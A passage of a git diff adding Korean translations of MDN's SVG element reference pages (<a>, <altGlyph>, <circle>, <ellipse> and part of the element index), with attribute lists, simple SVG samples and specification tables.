+  text-decoration: underline;
+}
+
+svgns|a:hover, svgns|a:active {
+  outline: dotted 1px blue;
+}</pre>
+
+<p>{{EmbedLiveSample('Exemple', 100, 100)}}</p>
+</div>
+
+<div class="warning">
+<p>Since this element shares its tag name with <a href="/en-US/docs/Web/HTML/Element/a">HTML's <code>&lt;a&gt;</code> element</a>, selecting "<code>a</code>" with CSS or <a href="/en-US/docs/Web/API/Document/querySelector"><code>querySelector</code></a> may apply to the wrong kind of element. Try <a href="/en-US/docs/Web/CSS/@namespace">the <code>@namespace</code> rule</a> to distinguish between the two.</p>
+</div>
+
+<h2 id="Attributes">Attributes</h2>
+
+<dl>
+ <dt>{{htmlattrxref("download", "a")}} {{experimental_inline}}</dt>
+ <dd>This attribute instructs browsers to download a {{Glossary("URL")}} instead of navigating to it, so the user will be prompted to save it as a local file.<br>
+ <small><em>Value type</em>: <strong>&lt;string&gt;</strong> ; <em>Default value</em>: <em>none</em>; <em>Animatable</em>: <strong>no</strong></small></dd>
+ <dt>{{SVGAttr("href")}}</dt>
+ <dd>This attribute contains the {{Glossary("URL")}} or URL fragment that the hyperlink points to.<br>
+ <small><em>Value type</em>: <strong><a href="/docs/Web/SVG/Content_type#URL">&lt;URL&gt;</a></strong> ; <em>Default value</em>: <em>none</em>; <em>Animatable</em>: <strong>yes</strong></small></dd>
+ <dt>{{htmlattrxref("hreflang", "a")}}</dt>
+ <dd>This attribute contains the URL or URL fragment that the hyperlink points to.<br>
+ <small><em>Value type</em>: <strong>&lt;string&gt;</strong> ; <em>Default value</em>: <em>none</em>; <em>Animatable</em>: <strong>yes</strong></small></dd>
+ <dt>{{htmlattrxref("ping", "a")}} {{experimental_inline}}</dt>
+ <dd>This attribute contains a space-separated list of URLs to which, when the hyperlink is followed, <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/POST" title="The HTTP POST method sends data to the server. The type of the body of the request is indicated by the Content-Type header."><code>POST</code></a> requests with the body <code>PING</code> will be sent by the browser (in the background). Typically used for tracking.  For a more widely-supported feature addressing the same use cases, see <a href="/en-US/docs/Web/API/Navigator/sendBeacon">Navigator.sendBeacon()</a>.<br>
+ <small><em>Value type</em>: <strong><a href="/docs/Web/SVG/Content_type#List-of-Ts">&lt;list-of-URLs&gt;</a></strong> ; <em>Default value</em>: <em>none</em>; <em>Animatable</em>: <strong>no</strong></small></dd>
+ <dt>{{htmlattrxref("referrerpolicy", "a")}} {{experimental_inline}}</dt>
+ <dd>This attribute indicates which <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referer">referrer</a> to send when fetching the {{Glossary("URL")}}.<br>
+ <small><em>Value type</em>: <code>no-referrer</code>|<code>no-referrer-when-downgrade</code>|<code>same-origin</code>|<code>origin</code>|<code>strict-origin</code>|<code>origin-when-cross-origin</code>|<code>strict-origin-when-cross-origin</code>|<code>unsafe-url</code> ; <em>Default value</em>: <em>none</em>; <em>Animatable</em>: <strong>no</strong></small></dd>
+ <dt>{{htmlattrxref("rel", "a")}} {{experimental_inline}}</dt>
+ <dd>This attribute specifies the relationship of the target object to the link object.<br>
+ <small><em>Value type</em>: <strong><a href="/docs/Web/HTML/Link_types">&lt;list-of-Link-Types&gt;</a></strong> ; <em>Default value</em>: <em>none</em>; <em>Animatable</em>: <strong>yes</strong></small></dd>
+ <dt>{{SVGAttr("target")}}</dt>
+ <dd>This attribute specifies where to display the linked {{Glossary("URL")}}.<br>
+ <small><em>Value type</em>: <code>_self</code>|<code>_parent</code>|<code>_top</code>|<code>_blank</code>|<strong>&lt;name&gt;</strong> ; <em>Default value</em>: <code>_self</code>; <em>Animatable</em>: <strong>yes</strong></small></dd>
+ <dt>{{htmlattrxref("type", "a")}}</dt>
+ <dd>This attribute specifies the media type in the form of a {{Glossary("MIME type")}} for the linked URL.<br>
+ <small><em>Value type</em>: <strong>&lt;string&gt;</strong> ; <em>Default value</em>: <em>none</em>; <em>Animatable</em>: <strong>yes</strong></small></dd>
+ <dt>{{SVGAttr("xlink:href")}} {{deprecated_inline("SVG2")}}</dt>
+ <dd>This attribute contains the URL or URL fragment that the hyperlink points to.<br>
+ <small><em>Value type</em>: <strong><a href="/docs/Web/SVG/Content_type#URL">&lt;URL&gt;</a></strong> ; <em>Default value</em>: <em>none</em>; <em>Animatable</em>: <strong>yes</strong></small></dd>
+</dl>
+
+<h3 id="Global_attributes">Global attributes</h3>
+
+<dl>
+ <dt><a href="/docs/Web/SVG/Attribute/Core">Core Attributes</a></dt>
+ <dd><small>Most notably: {{SVGAttr('id')}}, {{SVGAttr('lang')}}, {{SVGAttr('tabindex')}}</small></dd>
+ <dt><a href="/docs/Web/SVG/Attribute/Styling">Styling Attributes</a></dt>
+ <dd><small>{{SVGAttr('class')}}, {{SVGAttr('style')}}</small></dd>
+ <dt><a href="/docs/Web/SVG/Attribute/Conditional_Processing">Conditional Processing Attributes</a></dt>
+ <dd><small>Most notably: {{SVGAttr('requiredExtensions')}}, {{SVGAttr('systemLanguage')}}</small></dd>
+ <dt>Event Attributes</dt>
+ <dd><small><a href="/docs/Web/SVG/Attribute/Events#Global_Event_Attributes">Global event attributes</a>, <a href="/docs/Web/SVG/Attribute/Events#Document_Element_Event_Attributes">Document element event attributes</a>, <a href="/docs/Web/SVG/Attribute/Events#Graphical_Event_Attributes">Graphical event attributes</a></small></dd>
+ <dt><a href="/docs/Web/SVG/Attribute/Presentation">Presentation Attributes</a></dt>
+ <dd><small>Most notably: {{SVGAttr('clip-path')}}, {{SVGAttr('clip-rule')}}, {{SVGAttr('color')}}, {{SVGAttr('color-interpolation')}}, {{SVGAttr('color-rendering')}}, {{SVGAttr('cursor')}}, {{SVGAttr('display')}}, {{SVGAttr('fill')}}, {{SVGAttr('fill-opacity')}}, {{SVGAttr('fill-rule')}}, {{SVGAttr('filter')}}, {{SVGAttr('mask')}}, {{SVGAttr('opacity')}}, {{SVGAttr('pointer-events')}}, {{SVGAttr('shape-rendering')}}, {{SVGAttr('stroke')}}, {{SVGAttr('stroke-dasharray')}}, {{SVGAttr('stroke-dashoffset')}}, {{SVGAttr('stroke-linecap')}}, {{SVGAttr('stroke-linejoin')}}, {{SVGAttr('stroke-miterlimit')}}, {{SVGAttr('stroke-opacity')}}, {{SVGAttr('stroke-width')}}, {{SVGAttr("transform")}}, {{SVGAttr('vector-effect')}}, {{SVGAttr('visibility')}}</small></dd>
+ <dt>XLink Attributes</dt>
+ <dd><small>Most notably: {{SVGAttr("xlink:title")}}</small></dd>
+ <dt>ARIA Attributes</dt>
+ <dd><small><code>aria-activedescendant</code>, <code>aria-atomic</code>, <code>aria-autocomplete</code>, <code>aria-busy</code>, <code>aria-checked</code>, <code>aria-colcount</code>, <code>aria-colindex</code>, <code>aria-colspan</code>, <code>aria-controls</code>, <code>aria-current</code>, <code>aria-describedby</code>, <code>aria-details</code>, <code>aria-disabled</code>, <code>aria-dropeffect</code>, <code>aria-errormessage</code>, <code>aria-expanded</code>, <code>aria-flowto</code>, <code>aria-grabbed</code>, <code>aria-haspopup</code>, <code>aria-hidden</code>, <code>aria-invalid</code>, <code>aria-keyshortcuts</code>, <code>aria-label</code>, <code>aria-labelledby</code>, <code>aria-level</code>, <code>aria-live</code>, <code>aria-modal</code>, <code>aria-multiline</code>, <code>aria-multiselectable</code>, <code>aria-orientation</code>, <code>aria-owns</code>, <code>aria-placeholder</code>, <code>aria-posinset</code>, <code>aria-pressed</code>, <code>aria-readonly</code>, <code>aria-relevant</code>, <code>aria-required</code>, <code>aria-roledescription</code>, <code>aria-rowcount</code>, <code>aria-rowindex</code>, <code>aria-rowspan</code>, <code>aria-selected</code>, <code>aria-setsize</code>, <code>aria-sort</code>, <code>aria-valuemax</code>, <code>aria-valuemin</code>, <code>aria-valuenow</code>, <code>aria-valuetext</code>, <code>role</code></small></dd>
+</dl>
+
+<h2 id="Usage_notes">Usage notes</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Referrer Policy', '#referrer-policy-delivery-referrer-attribute', 'referrer attribute')}}</td>
+   <td>{{Spec2('Referrer Policy')}}</td>
+   <td>Added the <code>referrerpolicy</code> attribute.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG2", "linking.html#Links", "&lt;a&gt;")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td>Replaced {{SVGAttr("xlink:href")}} attribute by {{SVGAttr("href")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "linking.html#Links", "&lt;a&gt;")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("svg.elements.a")}}</p>
diff --git a/files/ko/web/svg/element/altglyph/index.html b/files/ko/web/svg/element/altglyph/index.html
new file mode 100644
index 0000000000..5da1e1848c
--- /dev/null
+++ b/files/ko/web/svg/element/altglyph/index.html
@@ -0,0 +1,79 @@
+---
+title: <altGlyph>
+slug: Web/SVG/Element/altGlyph
+tags:
+  - Element
+  - SVG
+  - "altGlyph\_엘리먼트"
+translation_of: Web/SVG/Element/altGlyph
+---
+<div>{{SVGRef}}{{deprecated_header}}</div>
+
+<p><code>altGlyph</code> 엘리먼트는 하위 문자 데이타를 랜더링 하기 위해 사용되는 매우복잡한 상형문자의 섹션을 허용한다.</p>
+
+<h2 id="사용예_컨텍스트">사용예 컨텍스트</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="속성들">속성들</h2>
+
+<h3 id="글로벌_속성들">글로벌 속성들</h3>
+
+<ul>
+ <li><a href="/en-US/SVG/Attribute#ConditionalProccessing">Conditional processing attributes</a> »</li>
+ <li><a href="/en-US/SVG/Attribute#Core">Core attributes</a> »</li>
+ <li><a href="/en-US/SVG/Attribute#GraphicalEvent">Graphical event attributes</a> »</li>
+ <li><a href="/en-US/SVG/Attribute#Presentation">Presentation attributes</a> »</li>
+ <li><a href="/en-US/SVG/Attribute#XLink">XLink attributes</a> »</li>
+ <li>{{SVGAttr("class")}}</li>
+ <li>{{SVGAttr("style")}}</li>
+ <li>{{SVGAttr("externalResourcesRequired")}}</li>
+</ul>
+
+<h3 id="특정_속성들">특정 속성들</h3>
+
+<ul>
+ <li>{{SVGAttr("x")}}</li>
+ <li>{{SVGAttr("y")}}</li>
+ <li>{{SVGAttr("dx")}}</li>
+ <li>{{SVGAttr("dy")}}</li>
+ <li>{{SVGAttr("rotate")}}</li>
+ <li>{{SVGAttr("glyphRef")}}</li>
+ <li>{{SVGAttr("format")}}</li>
+ <li>{{SVGAttr("xlink:href")}}</li>
+</ul>
+
+<h2 id="DOM_인터페이스">DOM 인터페이스</h2>
+
+<p>이 엘리먼트는 <code><a href="/en-US/docs/Web/API/SVGAltGlyphElement">SVGAltGlyphElement</a></code> 인터페이스를 구현한다..</p>
+
+<h2 id="명세서들">명세서들</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세서</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'text.html#AltGlyphElement', '&lt;altGlyph&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>초기화 선언</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("svg.elements.altGlyph")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{SVGElement("tspan")}}</li>
+ <li>{{SVGElement("glyph")}}</li>
+ <li>{{SVGElement("altGlyphDef")}}</li>
+</ul>
diff --git a/files/ko/web/svg/element/circle/index.html b/files/ko/web/svg/element/circle/index.html
new file mode 100644
index 0000000000..bfeaab30ac
--- /dev/null
+++ b/files/ko/web/svg/element/circle/index.html
@@ -0,0 +1,95 @@
+---
+title: <circle>
+slug: Web/SVG/Element/circle
+translation_of: Web/SVG/Element/circle
+---
+<div>{{SVGRef}}</div>
+
+<p><code>circle(원)은</code> 엘리먼트는 중심점과 반지름에 기초하여 원을 생성하는데 사용되는  SVG의 기본 모양이다. </p>
+
+<div id="Example">
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;circle cx="50" cy="50" r="50"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('Example', 100, 100)}}</p>
+</div>
+
+<h2 id="사용예_컨텍스트">사용예 컨텍스트</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: xml">&lt;?xml version="1.0"?&gt;
+&lt;svg viewBox="0 0 120 120" version="1.1"
+  xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;circle cx="60" cy="60" r="50"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>» <a href="https://mdn.mozillademos.org/files/7707/circle2.svg">circle.svg</a></p>
+
+<h2 id="속성들">속성들</h2>
+
+<h3 id="글로벌_속성들">글로벌 속성들</h3>
+
+<ul>
+ <li><a href="/en-US/SVG/Attribute#Conditional_processing_attributes">조건부 처리 속성들</a> »</li>
+ <li><a href="/en-US/SVG/Attribute#Core_attributes">주요 속성들</a> »</li>
+ <li><a href="/en-US/SVG/Attribute#Graphical_event_attributes">그래픽 이벤트 속성들</a> »</li>
+ <li><a href="/en-US/SVG/Attribute#Presentation_attributes">표현 속성들</a> »</li>
+ <li>{{ SVGAttr("class") }}</li>
+ <li>{{ SVGAttr("style") }}</li>
+ <li>{{ SVGAttr("externalResourcesRequired") }}</li>
+ <li>{{ SVGAttr("transform") }}</li>
+</ul>
+
+<h3 id="특정_속성들">특정 속성들</h3>
+
+<ul>
+ <li>{{ SVGAttr("cx") }}</li>
+ <li>{{ SVGAttr("cy") }}</li>
+ <li>{{ SVGAttr("r") }}</li>
+</ul>
+
+<h2 id="DOM_인터페이스">DOM 인터페이스</h2>
+
+<p>이 엘리먼트는 {{ domxref("SVGCircleElement") }} 를 구현한다..</p>
+
+<h2 id="명세서들">명세서들</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세서</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('SVG2', 'shapes.html#CircleElement', '&lt;circle&gt;')}}</td>
+   <td>{{Spec2('SVG2')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'shapes.html#CircleElement', '&lt;circle&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>초기화 선언</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("svg.elements.circle")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{ SVGElement("ellipse") }}</li>
+</ul>
diff --git a/files/ko/web/svg/element/ellipse/index.html b/files/ko/web/svg/element/ellipse/index.html
new file mode 100644
index 0000000000..31997952c3
--- /dev/null
+++ b/files/ko/web/svg/element/ellipse/index.html
@@ -0,0 +1,110 @@
+---
+title: <ellipse>
+slug: Web/SVG/Element/ellipse
+tags:
+  - Element
+  - Reference
+  - SVG
+  - SVG Grahpics
+translation_of: Web/SVG/Element/ellipse
+---
+<div>{{SVGRef}}</div>
+
+<p><strong><code>&lt;ellipse&gt;</code></strong> 요소는 SVG의 기본 모양 중 하나로, 중심좌표와 x축, y축 반지름을 이용하여 타원을 생성합니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> 타원은 정확한 방향을 특정할 수 없습니다. (예를 들어, 45도 기울어진 타원을 그리려고 할 경우) 하지만 {{SVGAttr("transform")}}속성을 사용함으로써 회전할 수는 있습니다.</p>
+</div>
+
+<div id="LiveSample">
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;ellipse cx="100" cy="50" rx="100" ry="50" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('LiveSample', 100, '100%')}}</p>
+</div>
+
+<h2 id="Attributes">Attributes</h2>
+
+<dl>
+ <dt>{{SVGAttr("cx")}}</dt>
+ <dd>The x position of the ellipse.<br>
+ <small><em>Value type</em>: <a href="/docs/Web/SVG/Content_type#Length"><strong>&lt;length&gt;</strong></a>|<a href="/docs/Web/SVG/Content_type#Percentage"><strong>&lt;percentage&gt;</strong></a> ; <em>Default value</em>: <code>0</code>; <em>Animatable</em>: <strong>yes</strong></small></dd>
+ <dt>{{SVGAttr("cy")}}</dt>
+ <dd>The y position of the ellipse.<br>
+ <small><em>Value type</em>: <a href="/docs/Web/SVG/Content_type#Length"><strong>&lt;length&gt;</strong></a>|<a href="/docs/Web/SVG/Content_type#Percentage"><strong>&lt;percentage&gt;</strong></a> ; <em>Default value</em>: <code>0</code>; <em>Animatable</em>: <strong>yes</strong></small></dd>
+ <dt>{{SVGAttr("rx")}}</dt>
+ <dd>The radius of the ellipse on the x axis.<br>
+ <small><em>Value type</em>: <code>auto</code>|<a href="/docs/Web/SVG/Content_type#Length"><strong>&lt;length&gt;</strong></a>|<a href="/docs/Web/SVG/Content_type#Percentage"><strong>&lt;percentage&gt;</strong></a> ; <em>Default value</em>: <code>auto</code>; <em>Animatable</em>: <strong>yes</strong></small></dd>
+ <dt>{{SVGAttr("ry")}}</dt>
+ <dd>The radius of the ellipse on the y axis.<br>
+ <small><em>Value type</em>: <code>auto</code>|<a href="/docs/Web/SVG/Content_type#Length"><strong>&lt;length&gt;</strong></a>|<a href="/docs/Web/SVG/Content_type#Percentage"><strong>&lt;percentage&gt;</strong></a> ; <em>Default value</em>: <code>auto</code>; <em>Animatable</em>: <strong>yes</strong></small></dd>
+ <dt>{{SVGAttr("pathLength")}}</dt>
+ <dd>This attribute lets specify the total length for the path, in user units.<br>
+ <small><em>Value type</em>: <a href="/docs/Web/SVG/Content_type#Number"><strong>&lt;number&gt;</strong></a> ; <em>Default value</em>: <em>none</em>; <em>Animatable</em>: <strong>yes</strong></small></dd>
+</dl>
+
+<div class="note">
+<p><strong>Note:</strong> Starting with SVG2 <code>cx</code>, <code>cy</code>, <code>rx</code> and <code>ry</code> are <em>Geometry Propertie</em>s, meaning those attributes can also be used as CSS properties for that element.</p>
+</div>
+
+<h3 id="Global_attributes">Global attributes</h3>
+
+<dl>
+ <dt><a href="/docs/Web/SVG/Attribute/Core">Core Attributes</a></dt>
+ <dd><small>Most notably: {{SVGAttr('id')}}, {{SVGAttr('tabindex')}}</small></dd>
+ <dt><a href="/docs/Web/SVG/Attribute/Styling">Styling Attributes</a></dt>
+ <dd><small>{{SVGAttr('class')}}, {{SVGAttr('style')}}</small></dd>
+ <dt><a href="/docs/Web/SVG/Attribute/Conditional_Processing">Conditional Processing Attributes</a></dt>
+ <dd><small>Most notably: {{SVGAttr('requiredExtensions')}}, {{SVGAttr('systemLanguage')}}</small></dd>
+ <dt>Event Attributes</dt>
+ <dd><small><a href="/docs/Web/SVG/Attribute/Events#Global_Event_Attributes">Global event attributes</a>, <a href="/docs/Web/SVG/Attribute/Events#Graphical_Event_Attributes">Graphical event attributes</a></small></dd>
+ <dt><a href="/docs/Web/SVG/Attribute/Presentation">Presentation Attributes</a></dt>
+ <dd><small>Most notably: {{SVGAttr('clip-path')}}, {{SVGAttr('clip-rule')}}, {{SVGAttr('color')}}, {{SVGAttr('color-interpolation')}}, {{SVGAttr('color-rendering')}}, {{SVGAttr('cursor')}}, {{SVGAttr('display')}}, {{SVGAttr('fill')}}, {{SVGAttr('fill-opacity')}}, {{SVGAttr('fill-rule')}}, {{SVGAttr('filter')}}, {{SVGAttr('mask')}}, {{SVGAttr('opacity')}}, {{SVGAttr('pointer-events')}}, {{SVGAttr('shape-rendering')}}, {{SVGAttr('stroke')}}, {{SVGAttr('stroke-dasharray')}}, {{SVGAttr('stroke-dashoffset')}}, {{SVGAttr('stroke-linecap')}}, {{SVGAttr('stroke-linejoin')}}, {{SVGAttr('stroke-miterlimit')}}, {{SVGAttr('stroke-opacity')}}, {{SVGAttr('stroke-width')}}, {{SVGAttr("transform")}}, {{SVGAttr('vector-effect')}}, {{SVGAttr('visibility')}}</small></dd>
+ <dt>ARIA Attributes</dt>
+ <dd><small><code>aria-activedescendant</code>, <code>aria-atomic</code>, <code>aria-autocomplete</code>, <code>aria-busy</code>, <code>aria-checked</code>, <code>aria-colcount</code>, <code>aria-colindex</code>, <code>aria-colspan</code>, <code>aria-controls</code>, <code>aria-current</code>, <code>aria-describedby</code>, <code>aria-details</code>, <code>aria-disabled</code>, <code>aria-dropeffect</code>, <code>aria-errormessage</code>, <code>aria-expanded</code>, <code>aria-flowto</code>, <code>aria-grabbed</code>, <code>aria-haspopup</code>, <code>aria-hidden</code>, <code>aria-invalid</code>, <code>aria-keyshortcuts</code>, <code>aria-label</code>, <code>aria-labelledby</code>, <code>aria-level</code>, <code>aria-live</code>, <code>aria-modal</code>, <code>aria-multiline</code>, <code>aria-multiselectable</code>, <code>aria-orientation</code>, <code>aria-owns</code>, <code>aria-placeholder</code>, <code>aria-posinset</code>, <code>aria-pressed</code>, <code>aria-readonly</code>, <code>aria-relevant</code>, <code>aria-required</code>, <code>aria-roledescription</code>, <code>aria-rowcount</code>, <code>aria-rowindex</code>, <code>aria-rowspan</code>, <code>aria-selected</code>, <code>aria-setsize</code>, <code>aria-sort</code>, <code>aria-valuemax</code>, <code>aria-valuemin</code>, <code>aria-valuenow</code>, <code>aria-valuetext</code>, <code>role</code></small></dd>
+</dl>
+
+<h2 id="Usage_notes">Usage notes</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('SVG2', 'shapes.html#EllipseElement', '&lt;ellipse&gt;')}}</td>
+   <td>{{Spec2('SVG2')}}</td>
+   <td>Added <code>auto</code> value for <code>rx</code> and <code>ry</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'shapes.html#EllipseElement', '&lt;ellipse&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("svg.elements.ellipse")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Other SVG basic shapes: <strong>{{ SVGElement('circle') }}</strong>, {{ SVGElement('line') }}, {{ SVGElement('polygon') }}, {{ SVGElement('polyline') }}, {{ SVGElement('rect') }}</li>
+</ul>
diff --git a/files/ko/web/svg/element/index.html b/files/ko/web/svg/element/index.html
new file mode 100644
index 0000000000..f1aa117e10
--- /dev/null
+++ b/files/ko/web/svg/element/index.html
@@ -0,0 +1,218 @@
+---
+title: SVG element reference
+slug: Web/SVG/Element
+tags:
+  - NeedsTranslation
+  - SVG
+  - SVG Reference
+  - SVG 엘리먼트
+  - TopicStub
+translation_of: Web/SVG/Element
+---
+<p>« <a href="/en-US/docs/SVG" title="SVG">SVG</a> / <a href="/en-US/docs/SVG/Attribute" title="SVG/Attribute">SVG Attribute reference</a> »</p>
+
+<h2 id="SVG_엘리먼트들">SVG 엘리먼트들</h2>
+
+<div class="index"><span id="A">A</span>
+
+<ul>
+ <li>{{SVGElement("a")}}</li>
+ <li>{{SVGElement("altGlyph")}}</li>
+ <li>{{SVGElement("altGlyphDef")}}</li>
+ <li>{{SVGElement("altGlyphItem")}}</li>
+ <li>{{SVGElement("animate")}}</li>
+ <li>{{SVGElement("animateColor")}}</li>
+ <li>{{SVGElement("animateMotion")}}</li>
+ <li>{{SVGElement("animateTransform")}}</li>
+</ul>
+<span id="C">B C</span>
+
+<ul>
+ <li>{{SVGElement("circle")}}</li>
+ <li>{{SVGElement("clipPath")}}</li>
+ <li>{{SVGElement("color-profile")}}</li>
+ <li>{{SVGElement("cursor")}}</li>
+</ul>
+<span id="D">D</span>
+
+<ul>
+ <li>{{SVGElement("defs")}}</li>
+ <li>{{SVGElement("desc")}}</li>
+</ul>
+<span id="E">E</span>
+
+<ul>
+ <li>{{SVGElement("ellipse")}}</li>
+</ul>
+<span id="F">F</span>
+
+<ul>
+ <li>{{SVGElement("feBlend")}}</li>
+ <li>{{SVGElement("feColorMatrix")}}</li>
+ <li>{{SVGElement("feComponentTransfer")}}</li>
+ <li>{{SVGElement("feComposite")}}</li>
+ <li>{{SVGElement("feConvolveMatrix")}}</li>
+ <li>{{SVGElement("feDiffuseLighting")}}</li>
+ <li>{{SVGElement("feDisplacementMap")}}</li>
+ <li>{{SVGElement("feDistantLight")}}</li>
+ <li>{{SVGElement("feFlood")}}</li>
+ <li>{{SVGElement("feFuncA")}}</li>
+ <li>{{SVGElement("feFuncB")}}</li>
+ <li>{{SVGElement("feFuncG")}}</li>
+ <li>{{SVGElement("feFuncR")}}</li>
+ <li>{{SVGElement("feGaussianBlur")}}</li>
+ <li>{{SVGElement("feImage")}}</li>
+ <li>{{SVGElement("feMerge")}}</li>
+ <li>{{SVGElement("feMergeNode")}}</li>
+ <li>{{SVGElement("feMorphology")}}</li>
+ <li>{{SVGElement("feOffset")}}</li>
+ <li>{{SVGElement("fePointLight")}}</li>
+ <li>{{SVGElement("feSpecularLighting")}}</li>
+ <li>{{SVGElement("feSpotLight")}}</li>
+ <li>{{SVGElement("feTile")}}</li>
+ <li>{{SVGElement("feTurbulence")}}</li>
+ <li>{{SVGElement("filter")}}</li>
+ <li>{{SVGElement("font")}}</li>
+ <li>{{SVGElement("font-face")}}</li>
+ <li>{{SVGElement("font-face-format")}}</li>
+ <li>{{SVGElement("font-face-name")}}</li>
+ <li>{{SVGElement("font-face-src")}}</li>
+ <li>{{SVGElement("font-face-uri")}}</li>
+ <li>{{SVGElement("foreignObject")}}</li>
+</ul>
+<span id="G">G</span>
+
+<ul>
+ <li>{{SVGElement("g")}}</li>
+ <li>{{SVGElement("glyph")}}</li>
+ <li>{{SVGElement("glyphRef")}}</li>
+</ul>
+<span id="H">H</span>
+
+<ul>
+ <li>{{SVGElement("hkern")}}</li>
+</ul>
+<span id="I">I</span>
+
+<ul>
+ <li>{{SVGElement("image")}}</li>
+</ul>
+<span id="L">J K L</span>
+
+<ul>
+ <li>{{SVGElement("line")}}</li>
+ <li>{{SVGElement("linearGradient")}}</li>
+</ul>
+<span id="M">M</span>
+
+<ul>
+ <li>{{SVGElement("marker")}}</li>
+ <li>{{SVGElement("mask")}}</li>
+ <li>{{SVGElement("metadata")}}</li>
+ <li>{{SVGElement("missing-glyph")}}</li>
+ <li>{{SVGElement("mpath")}}</li>
+</ul>
+<span id="P">N O P</span>
+
+<ul>
+ <li>{{SVGElement("path")}}</li>
+ <li>{{SVGElement("pattern")}}</li>
+ <li>{{SVGElement("polygon")}}</li>
+ <li>{{SVGElement("polyline")}}</li>
+</ul>
+<span id="R">Q R</span>
+
+<ul>
+ <li>{{SVGElement("radialGradient")}}</li>
+ <li>{{SVGElement("rect")}}</li>
+</ul>
+<span id="S">S</span>
+
+<ul>
+ <li>{{SVGElement("script")}}</li>
+ <li>{{SVGElement("set")}}</li>
+ <li>{{SVGElement("stop")}}</li>
+ <li>{{SVGElement("style")}}</li>
+ <li>{{SVGElement("svg")}}</li>
+ <li>{{SVGElement("switch")}}</li>
+ <li>{{SVGElement("symbol")}}</li>
+</ul>
+<span id="T">T</span>
+
+<ul>
+ <li>{{SVGElement("text")}}</li>
+ <li>{{SVGElement("textPath")}}</li>
+ <li>{{SVGElement("title")}}</li>
+ <li>{{SVGElement("tref")}}</li>
+ <li>{{SVGElement("tspan")}}</li>
+</ul>
+<span id="U">U</span>
+
+<ul>
+ <li>{{SVGElement("use")}}</li>
+</ul>
+<span id="V">V — Z</span>
+
+<ul>
+ <li>{{SVGElement("view")}}</li>
+ <li>{{SVGElement("vkern")}}</li>
+</ul>
+</div>
+
+<h2 id="범주들">범주들</h2>
+
+<h3 id="애니메이션_엘리먼트들">애니메이션 엘리먼트들</h3>
+
+<p>{{SVGElement("animate")}}, {{SVGElement("animateColor")}}, {{SVGElement("animateMotion")}}, {{SVGElement("animateTransform")}}, {{SVGElement("mpath")}}, {{SVGElement("set")}}</p>
+
+<h3 id="기본_모양들">기본 모양들</h3>
+
+<p>{{SVGElement("circle")}}, {{SVGElement("ellipse")}}, {{SVGElement("line")}}, {{SVGElement("polygon")}}, {{SVGElement("polyline")}}, {{SVGElement("rect")}}</p>
+
+<h3 id="컨테이너_엘리먼트들">컨테이너 엘리먼트들</h3>
+
+<p>{{SVGElement("a")}}, {{SVGElement("defs")}}, {{SVGElement("glyph")}}, {{SVGElement("g")}}, {{SVGElement("marker")}}, {{SVGElement("mask")}}, {{SVGElement("missing-glyph")}}, {{SVGElement("pattern")}}, {{SVGElement("svg")}}, {{SVGElement("switch")}}, {{SVGElement("symbol")}}</p>
+
+<h3 id="기술하는_엘리먼트들">기술하는 엘리먼트들</h3>
+
